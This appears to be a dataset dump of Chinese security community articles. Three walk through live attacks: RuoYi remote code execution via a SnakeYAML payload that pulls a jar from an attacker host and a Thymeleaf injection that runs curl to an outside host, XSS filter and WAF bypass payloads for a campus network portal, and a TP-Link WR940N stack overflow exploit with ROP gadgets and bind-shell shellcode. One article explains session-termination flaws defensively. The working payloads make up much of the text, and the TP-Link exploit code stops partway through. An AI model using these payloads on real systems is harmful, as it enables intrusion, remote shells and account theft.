text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
## 反射+Yaml达到的代码执行
### 漏洞发现
在若依管理后台-系统监控-定时任务-新建，发现有个 **调用目标字符串的字段** 。
查看定时任务的具体代码，定位到`ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/JobInvokeUtil.java`。
假设我们输入`com.hhddj1.hhddj2.hhddj3()`，
经解析后
* beanName为com.hhddj1.hhddj2
* methodName为hhddj3
* methodParams为[]
/**
* 执行方法
*
* @param sysJob 系统任务
*/
public static void invokeMethod(SysJob sysJob) throws Exception
{
String invokeTarget = sysJob.getInvokeTarget();
String beanName = getBeanName(invokeTarget);
String methodName = getMethodName(invokeTarget);
List<Object[]> methodParams = getMethodParams(invokeTarget);
if (!isValidClassName(beanName))
{
Object bean = SpringUtils.getBean(beanName);
invokeMethod(bean, methodName, methodParams);
}
else
{
Object bean = Class.forName(beanName).newInstance();
invokeMethod(bean, methodName, methodParams);
}
}
### 反射Runtime失败
想要通过该反射执行命令，首先想到使用`java.lang.Runtime.getRuntime().exec("")`。
若使用该payload，则会跳到`JobInvokeUtil.java`的这段代码中。
Object bean = Class.forName(beanName).newInstance();
invokeMethod(bean, methodName, methodParams);
然而，想要通过`Class.forName(beanName).newInstance()`成功实例化，必须满足类至少有一个构造函数
* 无参
* public
而Runtime类的构造函数是private的，不满足条件，因此使用payload`java.lang.Runtime.getRuntime().exec("")`，会报错。
### 反射ProcessBuilder失败
同样的，虽然我们可以在new
ProcessBuilder的时候可以不加参数，但是并不代表ProcessBuilder的构造函数是无参的。因此使用ProcessBuilder的payload也会报错。
ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command("/bin/bash","-c","curl http://xxx/test");
processBuilder.start();
ProcessBuilder的构造函数
public ProcessBuilder(List<String> var1) {
if (var1 == null) {
throw new NullPointerException();
} else {
this.command = var1;
}
}
public ProcessBuilder(String... var1) {
this.command = new ArrayList(var1.length);
String[] var2 = var1;
int var3 = var1.length;
for(int var4 = 0; var4 < var3; ++var4) {
String var5 = var2[var4];
this.command.add(var5);
}
}
### 构造Yaml类
想要代码执行，我尝试过写文件等等方式，但是都无法反射成功。
因为根据若依的定时任务代码，需要满足以下条件：
* 类的构造函数无参且public
* 调用的方法的参数类型只能是String/int/long/double
* 该方法具有代码执行的潜力
因此找到Yaml类，刚好若依有一个YamlUtil类，里面使用了org.yaml.snakeyaml包。
所以我们构造了以下payload，使用ftp协议的原因是http被禁用
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["ftp://ip/yaml-payload.jar"]
]]
]')
yaml-payload.jar的生成过程：
1）在github上下载源码（<https://github.com/artsploit/yaml-payload.git）>
2）将IP和端口改成我们对应攻击机上的IP和端口
3）使用以下两条命令生成新的yaml-payload.jar，生成的yaml-payload.jar位置如下图红箭头所示。
javac src/artsploit/AwesomescriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
### 漏洞利用过程
1.生成yaml-payload.jar，ip写攻击机ip，端口写2333。生成之后，传到攻击机的ftp目录下。
2.攻击机：监听2333端口
3.若依管理后台，新建定时任务，目标调用字符串写
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["ftp://攻击机ip/yaml-payload.jar"]
]]
]')
4.攻击机上收到反弹shell
## 结合Thymeleaf注入的代码执行
在代码审计若依的时候，发现了Thymeleaf语法的一些问题，不过后来发现大佬们之前就写过很多关于Thymeleaf注入的资料。
### 漏洞分析
Ruoyi使用了 **thymeleaf-spring5** ，其中 **四个接口方法** 中设置了片段选择器：
<http://demo.ruoyi.vip/monitor/cache/getNames>
<http://demo.ruoyi.vip/monitor/cache/getKeys>
<http://demo.ruoyi.vip/monitor/cache/getValue>
<http://demo.ruoyi.vip/demo/form/localrefresh/task>
通过这四段接口，可以指定 **任意fragment** ，以 **/monitor/cache/getNames接口**
为例，controller代码如下：
@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap)
{
mmap.put("cacheNames", cacheService.getCacheNames());
return prefix + "/cache::" + fragment;
}
这四段接口方法中，都使用了thymeleaf的语法：
"/xxx::" + fragment;
我们构造fragment的值为：
%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%75%72%6c%20%68%74%74%70%3a%2f%2f%63%6d%6d%6f%76%6f%2e%63%65%79%65%2e%69%6f%2f%72%75%6f%79%69%74%65%73%74%22%29%7d
\-->
${T (java.lang.Runtime).getRuntime().exec("curl
[http://cmmovo.ceye.io/ruoyitest")}](http://cmmovo.ceye.io/ruoyitest)
当我们构造的模板片段被thymeleaf解析时，thymeleaf会将识别出fragment为 **SpringEL** 表达式。不管是
**?fragment=header(payload)** 还是 **?fragment=payload**
但是，在执行SpringEL表达式之前，thymeleaf会去检查参数值中是否使用了 **"T(SomeClass)"** 或者 **"new
SomeClass"**
这个检查方法其实可以绕过，SpringEL表达式支持 **"T (SomeClass)"**
这样的语法，因此我们只要在T与恶意Class之间加个空格，就既可以绕过thymeleaf的检测规则，又可以执行SpringEL表达式。
因此payload中 **T与恶意Class之间含有空格** ，不论是空格或者制表符都可以绕过检测。
### 漏洞利用过程
1.将payload进行HTML编码
${T (java.lang.Runtime).getRuntime().exec("curl http://cmmovo.ceye.io/ruoyitest")}
2.填入header后面的括号中，命令成功执行，ceye监听平台收到dnslog请求 | 社区文章 |
# 【技术分享】错误的会话终止机制导致账户劫持
|
##### 译文声明
本文是翻译文章，文章来源：securitycompass
原文地址：<https://blog.securitycompass.com/improper-session-termination-leading-to-account-takeover-657760aed177#.lew5zxjif>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **派大星**](http://bobao.360.cn/member/contribute?uid=1009682630)
**预估稿费：140RMB（不服你也来投稿啊！）**
********投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿****
**错误的会话终止机制**
会话终止是安全的会话周期中一个重要的方面。安全的实现session
tokens可以有效的减少会话劫持攻击。会话终止作为一些攻击的控制机制，比如XSS（跨站脚本攻击），CSRF（跨站请求伪造）。当一个用户拥有了授权后的session，这些攻击的严重性就会增加。因此，拥有一个不安全的会话终止机制增加了其他攻击技术的攻击面。
我们曾遇到了一个有错误会话终止机制的案例。这个漏洞在一家网络软件公司的web入口被发现。这次攻击的详情，根本原因，逻辑问题和修复建议会在下面详细解释。
**漏洞详情和影响**
经鉴定，最主要的漏洞就是错误的会话终止机制。应用程序并没有正确的终止用户的session。
我们发现该程序至少会保持用户session长达10小时。因此，很多行为甚至在用户注销后都拥有了执行的可能（例如修改账户绑定的手机号）。在用户注销后并没有使user_token失效，
因此它将允许任何人继续发送合法的，被授权的请求。
在这个特殊的应用中，伴随着错误的会话终止机制的还有其他漏洞：
1.没有实现会话超时机制。
2.在URL里将session token作为请求字符串发送。Session
token可以从连接头部中的Referer字段得到，也可以从终端浏览器的历史记录中，或者遍历嗅探到的数据包，又或者没有被正确保护的web日志中得到。根据最好的安全实践标准，任何需要被保密的信息都不应该通过URL或者请求字符串发送，因为这样可能被代理捕获或者被浏览器历史所记录。
3.该应用在重置密码的时候并未要求填写当前密码。根据最好的安全实践标准，程序应该在允许关键修改之前验证密码（比如修改密码或者修改邮箱）。
因此，我们发现一个错误会话终止机制可以导致潜在的账户劫持。
**通常的重现步骤**
一般来说，一个错误的会话终止机制可以被以下步骤所检测出来。
首先，鉴定被用于会话标识的cookie。注销当前账户然后观察应用程序处理会话cookies的方式。
通过浏览器的返回键打开那些只能在被授权后才能访问的页面。
如果显示的是这个页面的缓存，点击刷新更新页面。如果注销功能设置了一个新的会话cookies，用旧的cookies替换它然后刷新页面。
在应用的大多数页面尝试这个测试方法，尤其是那些被认为存在危险的地方。这可以确保会话结束机制在那些包含危险动作的页面正确的实现。
如果会话被正确的终止，当你尝试打开需要授权的界面时你将会看到应用重定向到公共区域或者登陆界面。如果会话未被正确终止，当你请求修改数据时，你将看到那些只应被授权用户所看到的页面，比如简介信息，修改简介和其他隐私的页面。
在我们详细的评估中，我们修改了手机号作为概念验证。这是一个应用程序可能的特殊功能，但是通常来说，根据应用和它的功能，会有不同的行为可以执行。错误的会话终止机制能够导致帐户被完全劫持。
**攻击方案**
因为token通过URL的GET参数传输，即使是使用了SSL协议也不能防止泄露。攻击者可以在浏览器历史纪录或者通过代理工具得到token。如果攻击者得到了任意用户的user_token，
他就能够在该用户的帐户上代表该用户发送和执行所有行为。
**修补建议**
1\. user_token的值应该在服务器端被正确的检查和验证。一旦一个用户注销登录，他的user_token就应该被用合适的方法在服务器端立即销毁。
2\. 应用程序应该实现一个会话超时机制。例如，根据应用程序的不同决定30分钟或者更久。
3\. 会话认证应该通过cookies来实现。任何敏感信息都不应该通过URL传输。
4\. 一个高度安全的口令机制应该被实现，而且当用户执行敏感操作时应用程序应该再次验证用户口令。
这个问题的根本原因就是错误的会话终止机制。因为用户没有在关于他们帐户凭证方面做错任何事情。应用的所有者应该对用户对此应用的信任负责。用户信任应用程序，然而应用程序却将他们的数据置于危险之中。因此，一旦用户注销登录立即正确的终止会话是非常重要的事情。 | 社区文章 |
### 0x01 挖掘与鸡肋XSS
笔者在内网环境中，Wifi入网需要认证账密，因此经常接触如下这个`校园网自助服务系统`，自然地想到对此系统进行一些安全测试：
初步主要有这样几种挖掘思路：
1、应用业务逻辑漏洞
2、已知系统和组件的CVE
在挖掘之前，搜索引擎里意外看到某位师傅在博客发过对这个系统的测试记录（tql）：
<https://www.sqlsec.com/2017/11/nnuwifi.html>
通过这位师傅对南师大的测试结果，业务逻辑上总结起来存在以下几个安全问题：
1、可以任意用户注册
2、忘记密码接口存在信息泄露
但是实测在笔者内网环境下的这个系统，用户注册功能被关闭了。。。第一点宣告失败；
忘记密码接口的信息泄露需要传递类似`学号`这样的参数，限制了它的危害性（学号需要爆破）；另外返回的信息只有学号对应的真实姓名，没有上面博客中出现的`证件号`等更为详细的信息。
通过信息搜集获得以下目标信息：
Apache-Coyote/1.1
Servlet 2.5; JBoss-5.0/JBossWeb-2.1
搜索组件相关的漏洞信息发现CVE-2017-12149，是一个反序列化的漏洞，不过没有利用成功（不存在/invoker/readonly路径），还是没有什么收获。
注意到系统接口后缀名是`.jsf`和`.jsp`，在网页代码中寻找`.jsf`和`.jsp`结尾的字符串尝试找到一些隐藏的后端接口。
1、发现系统具体版本信息：
软件#SAM#RG- ENTERPRISE_4.21(p9)_Build20180606
2、发现一个返回错误信息的接口（移动端）：
尝试将`mobile`去掉，同样也是一个错误信息回显接口（PC端）：
存在这样的错误信息回显，如果对XSS没有过滤好就有可能造成反射型XSS了，我们尝试简单的payload发现确实存在（鸡肋）：
这是一个鸡肋的洞，但是再看看这个系统SESSION的Cookie没有开启http_only，还是存在钓鱼利用风险的。
### 0x02 通用化与WAF绕过
虽然没有发现其他的严重安全问题，但是对这个反射XSS是否是这个系统的通用安全问题也产生了好奇。通过搜索引擎找到了一堆类似的线上系统逐一进行尝试，
**结果发现事情并不简单** 。
测试了多个相同系统的站点，发现会有几种款式的错误返回（果然是笔者内网这个系统没有开启防护(⊙o⊙)…），接下来开始了对这几种防护进行绕过的漫漫之旅：
##### 第一种情况，应该是这个系统自带的过滤机制：
##### 第二种情况，称之为WAF-A
##### 第三种情况，称之为WAF-B
#### 0x001 绕过系统XSS过滤机制
拿其中一个外网系统进行绕过测试，发现系统自带过滤机制对几个关键字符都做了过滤，似乎直接封死了利用空间：
单引号'、双引号"、尖括号<>、转义符\
但是在Fuzz到一些HTML标签的时候，出现了神奇的地方， **部分标签虽然带有尖括号但是却绕过了系统自带的XSS检测规则**
（黑人问号），其中`script`标签触发了WAF-A：
然而利用这些标签进行构造尝试弹窗，发现又被WAF-A（包括B）拦截了：
#### 0x002 绕过WAF-A过滤
为了测试是对`on`开头的动作还是`alert`字符串触发了拦截，分别构造多个payload进行测试:
<input onclick=111>
<input onload=111>
<input on=111>
......
<input aaa=alert()>
结果是都会被拦截，可以确定规则会拦截`on`开头的动作以及`alert`字符串。。。同样的，测试发现构造类似`<input
background="javascript:xxx">`的payload等等，会因为javascript和一些其他敏感字符串被拦截。
。。。
这个时候继续在`input`这个标签中的动作或者属性尝试弹框已经很困难（或许有其他绕过方法），想到尝试继续在`input`标签中构造出其他标签进行测试。
可以看到其中嵌套上图几种标签时还是合法的。当构造这样的输入时，在浏览器中可以看到会多出一个尖括号`>`，其中第1个`>`和第1个`<`组合生效了：
到这一步，如果继续添加1个`<`去和下面的`>`组合成新的HTML标签会怎么样呢，尝试如下输入
<input <table><a>
**成功逃逸出来了一个`a`标签，并且没有被拦截。**同样拿其他标签进行Fuzz测试，可以看到之前绕过的标签反而全都被拦截，但是
**其他标签都成功绕过了** ！
现在构造的输入绕过了系统自带的过滤，攻击面就扩大了，可以使用大部分的HTML标签。但是常规的字符串仍然会被WAF-A和B拦截，如：
on开头的动作、alert字符串、javascript等
但是由于可用的HTML标签很多，完全可以构造不出现这些敏感字符的payload，在这里笔者使用`embed`标签的`src`属性执行base64编码的JS代码：
<input<table><embed/src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" >
这个payload可以绕过WAF-A，但是可惜绕不过WAF-B：
#### 0x003 绕过WAF-B过滤
WAF-B的拦截提示是`WiseGrid`，查了下是一个公司的网关产品，接着继续尝试能否绕过这款网关的XSS防护。
之前过WAF-A的payload中肯定是有某个字符串触发了WAF-B的规则，于是进行删减，最后发现WAF-B直接拦截了`embed`标签。。。
WAF-B也对常见的`on`开头动作进行了拦截、对`javascript`等字符串进行了拦截。除此之外，发现`src='data....'`和`href='data....'`的形式也被拦截了。
到这可以看出来，WAF-B比WAF-A强了好几个级别，几乎拦死了几乎所有能想到的构造形式，到这一下子走到了死胡同。。。
经过无数尝试失败后，突然想到了一些WAF在处理过长的数据时会忽略一定长度后数据的案例，这个网关产品的WAF会不会也有这样的问题呢？
于是基于上面的payload，尝试在会被拦截的字符串`src="data"`之前插入大量的无关字符:
http://xxx//selfservice/module/scgroup/web/login_self.jsf?errorMsg=<input<table><img aaaaAaaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaaaaaaAaaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaaaaaaAaaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaaaaaaAaaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaaaaaaAaaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaa src="data">
虽然失败了，按着这个思路我们尝试继续换成其他字符，例如注释符进行测试：
**可以看到，我们的payload传入后，页面经过不寻常的等待后，返回了正常的页面内容！**
那么把之前过WAF-A的payload稍加改造就能绕过WAF-B了：
http://xxx//selfservice/module/scgroup/web/login_self.jsf?errorMsg=<input<table////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////><embed/src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" >
### 0x03 总结
笔者从对某校园网自助服务系统的安全测试开始，围绕一个鸡肋的反射XSS漏洞，对此系统通常存在的各种XSS过滤和WAF进行测试和绕过。虽然市面的WAF各式各样，但是过程中绕WAF的姿势和手法是通用的。 | 社区文章 |
原文地址：[《A CURIOUS TALE OF REMOTE CODE EXECUTION, THE TP-LINK STORY –
CVE-2017-13772》](https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/ "A CURIOUS TALE OF REMOTE CODE EXECUTION, THE TP-LINK STORY –
CVE-2017-13772")
译者：hello1900@知道创宇404实验室
#### 前言：
本文重点讨论作者近期从事 TP-Link WR940N 家用 WiFi
路由器漏洞研究获得的心得体会，主要从发现漏洞代码路径的必要步骤与通过这些路径实现远程代码执行的方式两方面入手。
首先，我将介绍如何找到第一个漏洞以及生成完整攻击链的方法；然后，说明此漏洞已形成特定模式，可使设备遭受数百种网络攻击。
#### 设备
我选取的设备是TP-Link（硬件版本4）WR940N 家用 WiFi 路由器。进行物联网设备研究的通常做法是获取固件副本并提取文件系统。
固件链接：<https://static.tp-link.com/TL-WR940N(US)_V4_160617_1476690524248q.zip>
如图所示，binwalk已成功发现并提取文件系统。下一步是获得关于设备运行程序的少量信息，例如影子文件内容（具体原因将在后文阐述）。
我接触过的多数嵌入式系统都采用busybox，所以重点在于找出能够运行哪些程序、是否需要某种形式的shell注入。解决上述问题通常有两种做法，一种做法是列出busybox中的所有symlink。我个人比较喜欢在chroot环境qemu下运行busybox二进制文件，好处是能够获知启用了哪些功能：
所以，我并没有采用Telnet、netcat等工具，但确实有用到tftp。后者可在获取shell注入后使用。最后，快速浏览rc.d/rcS后得出结论，路由器启动最后一项操作是运行httpd二进制文件。我原以为可从这里入手，因为HTTP
daemon通常提供较大攻击面。
#### 访问设备
我在Web界面初始测试阶段找到可在成功验证大型字符串的前提下致使设备停止响应的区域。有趣的是用户端代码输入不得超过50个字符。
显然，这种做法可通过Burp Suite轻易绕过。在等待USB uart
启动设备的过程中，我决定对这些字段进行简单的fuzz处理。此外，我还发现输入51字节ping_addr后产生以下后果：
尽管HTTP端口仍处于开放状态，我还是以略显笨拙的fuzzing方法将字节数提高到200，并发现这种做法确实能使服务崩溃：
现在，我们已成功发现一个拒绝服务（DoS）漏洞，但并没多大新意。为了合理调试运行程序，我需要通过uart交互界面访问设备，具体步骤参见<https://wiki.openwrt.org/toh/tp-link/tl-wr940n>。应注意，设备成功启动后将出现一个登陆提示。可尝试破解上述影子文件密码或像我一样到网上进行谷歌搜索（root密码为sohoadmin）。
现在我们已成功访问设备，可以了解实际运行了哪些程序。如图所示，httpd二进制文件负责多个进程。
最后一步是下载gdbserver。为确保正常运行，我花费大量功夫寻找一款交叉编译的gdbserver。如果选择下载GPL源代码，就可以省去这些麻烦，直接获取预先编译的二进制文件。我用SCP进行复制，经过一番周折终于发现连接到上一个httpd进程可以调试实际Web界面。
#### 漏洞概况
如上所述，用户输入超出JavaScript代码限制就会造成HTTP服务崩溃。
IDA中的二进制文件明确阐述了具体进程使用情况。例如，sub_453C50具有检查请求是否有效、通过验证的常用功能：
接下来，对httpGetEnv进行调用。应注意
“ping_addr”、“isNew”等值通过GET参数传递。然后，仍在相同函数中调用ipAddrDispose。
第一个漏洞就存在于这个函数中。函数开头声明堆栈变量va_AC，然后作为目标参数传递给strcpy调用。问题在于源参数（$s1）是函数的第一个引数，并且没有对其长度进行验证，属于一个经典的缓冲区溢出。
#### 概念验证
为此，我专门写了一个简单的python脚本触发漏洞，也就是登录功能。登录设备将生成随机URL。
import urllib2
import urllib
import base64
import hashlibdef login(ip, user, pwd):
#### Generate the auth cookie of the form b64enc(‘admin:’ + md5(‘admin’))
hash = hashlib.md5()
hash.update(pwd)
auth_string = “%s:%s” %(user, hash.hexdigest())
encoded_string = base64.b64encode(auth_string)
print “[debug] Encoded authorisation: %s” %encoded_string#### Send the request
url = “http://” + ip + “/userRpm/LoginRpm.htm?Save=Save”
req = urllib2.Request(url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %encoded_string)
resp = urllib2.urlopen(req)#### The server generates a random path for further requests, grab that here
data = resp.read()
next_url = “http://%s/%s/userRpm/” %(ip, data.split(“=”)[2].split(“/”)[3])
print “[debug] Got random path for next stage, url is now %s” %next_urlreturn (next_url, encoded_string)
def exploit(url, auth):
#trash,control of s0,s1 + ra + shellcode
evil = “\x41″*800
params = {‘ping_addr’: evil, ‘doType’: ‘ping’, ‘isNew’: ‘new’, ‘sendNum’: ’20’, ‘pSize’: ’64’, ‘overTime’: ‘800’, ‘trHops’: ’20’}
new_url = url + “PingIframeRpm.htm?” + urllib.urlencode(params)
req = urllib2.Request(new_url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth)
req.add_header(‘Referer’, url + “DiagnosticRpm.htm”)
resp = urllib2.urlopen(req)
if __name__ == ‘__main__’:
data = login(“192.168.0.1”, “admin”, “admin”)
exploit(data[0], data[1])
启动gdbserver（需附加到最后一个httpd进程）后，我在ipAddrDispose退出之前设置了一个断点，然后运行PoC：
可以看到，我们已经获得返回地址的控制权限。 在执行常规的msf_pattern_create /
pattern_offset进程后，s0（位于偏移量160）与$s1（位于偏移量164）的控制权。此外，我们还有一个大型缓冲区堆栈存放shellcode：
#### 攻击链构造
这部分工作需要注意Mips架构相关事项。首先是缓存一致性，这点在许多博客中都有广泛提及（参见
<http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/>）。
简单说来，如果我们尝试在堆栈上执行shellcode，CPU将检查缓存中是否已有虚拟地址数据，如果有就执行。这意味着触发漏洞前，堆栈上的任何数据都可能被执行。
此外，如果我们的shellcode具有自修改属性（对于IE，我们使用编码器），编码指令将最终被执行。
参考：<http://cdn.imgtec.com/mips-training/mips-basic-training-course/slides/Caches.pdf>
正如许多在线资源所述，刷新缓存的最佳方式是通过ROP将调用设置为睡眠状态。触发该漏洞后，我将两个调用设置为睡眠状态，第一个直接进入睡眠状态，第二个在解码器成完成对含有坏字节的指令解码后进入睡眠状态。
我们只有确定哪些库可执行及其所在地址才能判断应使用哪些小工具。（注：默认情况下不启用ASLR）。
httpd maps:
00400000-00587000 r-xp 00000000 1f:02 64 /usr/bin/httpd
00597000-005b7000 rw-p 00187000 1f:02 64 /usr/bin/httpd
005b7000-00698000 rwxp 00000000 00:00 0 [heap]
2aaa8000-2aaad000 r-xp 00000000 1f:02 237 /lib/ld-uClibc-0.9.30.so
2aaad000-2aaae000 rw-p 00000000 00:00 0
2aaae000-2aab2000 rw-s 00000000 00:06 0 /SYSV0000002f (deleted)
2aabc000-2aabd000 r–p 00004000 1f:02 237 /lib/ld-uClibc-0.9.30.so
2aabd000-2aabe000 rw-p 00005000 1f:02 237 /lib/ld-uClibc-0.9.30.so
2aabe000-2aacb000 r-xp 00000000 1f:02 218 /lib/libpthread-0.9.30.so
2aacb000-2aada000 —p 00000000 00:00 0
2aada000-2aadb000 r–p 0000c000 1f:02 218 /lib/libpthread-0.9.30.so
2aadb000-2aae0000 rw-p 0000d000 1f:02 218 /lib/libpthread-0.9.30.so
2aae0000-2aae2000 rw-p 00000000 00:00 0
2aae2000-2ab3f000 r-xp 00000000 1f:02 238 /lib/libuClibc-0.9.30.so<….. snip …..>7edfc000-7ee00000 rwxp 00000000 00:00 0
7effc000-7f000000 rwxp 00000000 00:00 0
7f1fc000-7f200000 rwxp 00000000 00:00 0
7f3fc000-7f400000 rwxp 00000000 00:00 0
7f5fc000-7f600000 rwxp 00000000 00:00 0
7fc8b000-7fca0000 rwxp 00000000 00:00 0 [stack]
LibuClibC-0.9.30.so看似可行，在IDA中打开并使用<http://www.devttys0.com/2013/10/mips-rop-ida-plugin/>中的mipsrop.py脚本就可以寻找小工具了。
首先，我们需要一个具有以下功能的小工具：
li $a0, 1
mov $t9, $s0 or $s1 #we control $s0 and $s1
jr $t9
运行的第一个命令是mipsrop.set_base（0x2aae000），它将自动计算实际地址。
注意第二个小工具，它返回到$s1中的地址：
这是我设置睡眠状态调用的小工具，它的地址将覆盖ipAddrDispose的返回地址。
我们将要用到的下一个小工具（放入$s1）需要调用睡眠状态，前提是将睡眠后调用的小工具地址放放在ra中。
我们可以使用mipsrop.tail()查找此类小工具。
这个小工具运行良好，唯一要注意的是它会在初次运行时自动完成调用。
第一次被调用时，t9中的地址跳转。为了让这个小工具正常工作，需要准备堆栈。在第一次调用过程中，将睡眠地址放在sp)。
在第二次调用过程中，sp)，再根据最终小工具填写s1（跳转至现有shellcode）。
这为我们提供了以下有效载荷：
Trash $s1 $ra
rop = “A”*164 + call_sleep + prepare_sleep + “B”*0x20 + sleep_addr
$s0 $s1 $ra
rop += “C”*0x20 + “D”*4 + “E”*4 + next_gadg
从睡眠状态返回后，待调用的下一个小工具需要将堆栈指针存储在寄存器中，然后跳转至s1中的地址（均在控制范围内）。
这将导致最终的小工具跳转到该寄存器（意味着它将跳转至堆栈的某个位置，最好是shellcode的位置）。mipsrop.py中的一个便捷功能是stack
stackfinder()：
浏览后发现几乎所有这些小工具都好用，我们重点了解最后一个：
既然s2中地址（堆栈地址）的小工具。
这些小工具都有效，但我偏好使用对其他寄存器影响最小的小工具，例如：
此时，有效载荷如下所示：
nop = “\x22\x51\x44\x44”
gadg_1 = “\x2A\xB3\x7C\x60”
gadg_2 = “\x2A\xB1\x78\x40”
sleep_addr = “\x2a\xb3\x50\x90”
stack_gadg = “\x2A\xAF\x84\xC0”
call_code = “\x2A\xB2\xDC\xF0″def first_exploit(url, auth):
# trash $s1 $ra
rop = “A”*164 + gadg_2 + gadg_1 + “B”*0x20 + sleep_addr
rop += “C”*0x20 + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode
攻击链运行后困在NOP sled环节，当务之急是写一些shellcode，识别坏字符，并将 \+ \+ <编码shellcode>附加到攻击链。
我只找到一处坏字节0x20，显然应该是0x00。
我尝试使所有常见有效载荷正常工作，但msf_venom无法使用mips/long_xor编码，而我也无法获得bowcaster有效载荷。 我没写过mips
shellcode，所以决定写一个极简版编码器，仅通过引用堆栈偏移对含有坏字节的指令进行操作。
.set noreorder
#nop
addi $s5, $s6, 0x4444#xor key
li $s1, 2576980377#get address of stack
la $s2, 1439($sp)#s2 -> end of shellcode (end of all shellcode)
addi $s2, $s2, -864#decode first bad bytes
lw $t2, -263($s2)
xor $v1, $s1, $t2
sw $v1, -263($s2)#decode 2nd bad bytes
lw $t2, -191($s2)
xor $v1, $s1, $t2
sw $v1, -191($s2)<…snip…>##### sleep #####li $v0, 4166
li $t7, 0x0368
addi $t7, $t7, -0x0304
sw $t7, -0x0402($sp)
sw $t7, -0x0406($sp)
la $a0, -0x0406($sp)
syscall 0x40404
addi $t4, $t4, 4444 #nop
这显然不是最有效的处理方式，因为需要在堆栈上找到每个坏字节的偏移量（幸好mips是4字节对齐指令，因此每个偏移都是4的倍数）。此外，还需要计算每个坏字节指令的编码值。
绑定shellcode非常简单。
.set noreorder
###### sys_socket ######
addiu $sp, $sp, -32
li $t6, -3
nor $a0, $t6, $zero
nor $a1, $t6, $zero
slti $a2, $0, -1
li $v0, 4183
syscall 0x40404##### sys_bind ####
add $t9, $t9, 0x4444 #nop
andi $s0, $v0, 0xffff
li $t6, -17 nor $t6, $t6, $zero
li $t5, 0x7a69 #port 31337 li $t7, -513
nor $t7, $t7, $zero
sllv $t7, $t7, $t6
or $t5, $t5, $t7 sw $t5, -32($sp) sw $zero,-28($sp)
sw $zero,-24($sp)
sw $zero,-20($sp)
or $a0, $s0, $s0
li $t6, -17 nor $a2, $t6, $zero
addi $a1, $sp, -32
li $v0, 4169
syscall 0x40404##### listen #####
li $t7,0x7350
or $a0,$s0,$s0
li $a1,257
li $v0,4174
syscall 0x40404##### accept #####
li $t7,0x7350
or $a0,$s0,$s0
slti $a1,$zero,-1
slti $a2,$zero,-1
li $v0,4168
syscall 0x40404##### dup fd’s ####
li $t7,0x7350
andi $s0,$v0,0xffff
or $a0,$s0,$s0
li $t7,-3
nor $a1,$t7,$zero
li $v0,4063
syscall 0x40404
li $t7,0x7350
or $a0,$s0,$s0
slti $a1,$zero,0x0101
li $v0,4063
syscall 0x40404
li $t7,0x7350
or $a0,$s0,$s0
slti $a1,$zero,-1
li $v0,4063
syscall 0x40404######execve######
lui $t7,0x2f2f
ori $t7,$t7,0x6269
sw $t7,-20($sp)
lui $t6,0x6e2f
ori $t6,$t6,0x7368
sw $t6,-16($sp)
sw $zero,-12($sp)
addiu $a0,$sp,-20
sw $a0,-8($sp)
sw $zero,-4($sp)
addiu $a1,$sp,-8
li $v0,4011
syscall 0x40404#### sleep #####
li $v0, 4166
li $t7, 0x0368
addi $t7, $t7, -0x0304
sw $t7, -0x0402($sp)
sw $t7, -0x0406($sp)
la $a0, -0x0406($sp)
syscall 0x40404
addi $t4, $t4, 4444
请注意，如果我们在调用execve后没有进入睡眠状态，原始进程将会结束并杀死所有其他httpd进程，阻止我们访问bind shell。
此漏洞的最终攻击链构造如下：
import urllib2
import urllib
import base64
import hashlib
import osdef login(ip, user, pwd):
#### Generate the auth cookie of the form b64enc(‘admin:’ + md5(‘admin’))
hash = hashlib.md5()
hash.update(pwd)
auth_string = “%s:%s” %(user, hash.hexdigest())
encoded_string = base64.b64encode(auth_string)
print “[debug] Encoded authorisation: %s” %encoded_string
#### Send the request
url = “http://” + ip + “/userRpm/LoginRpm.htm?Save=Save”
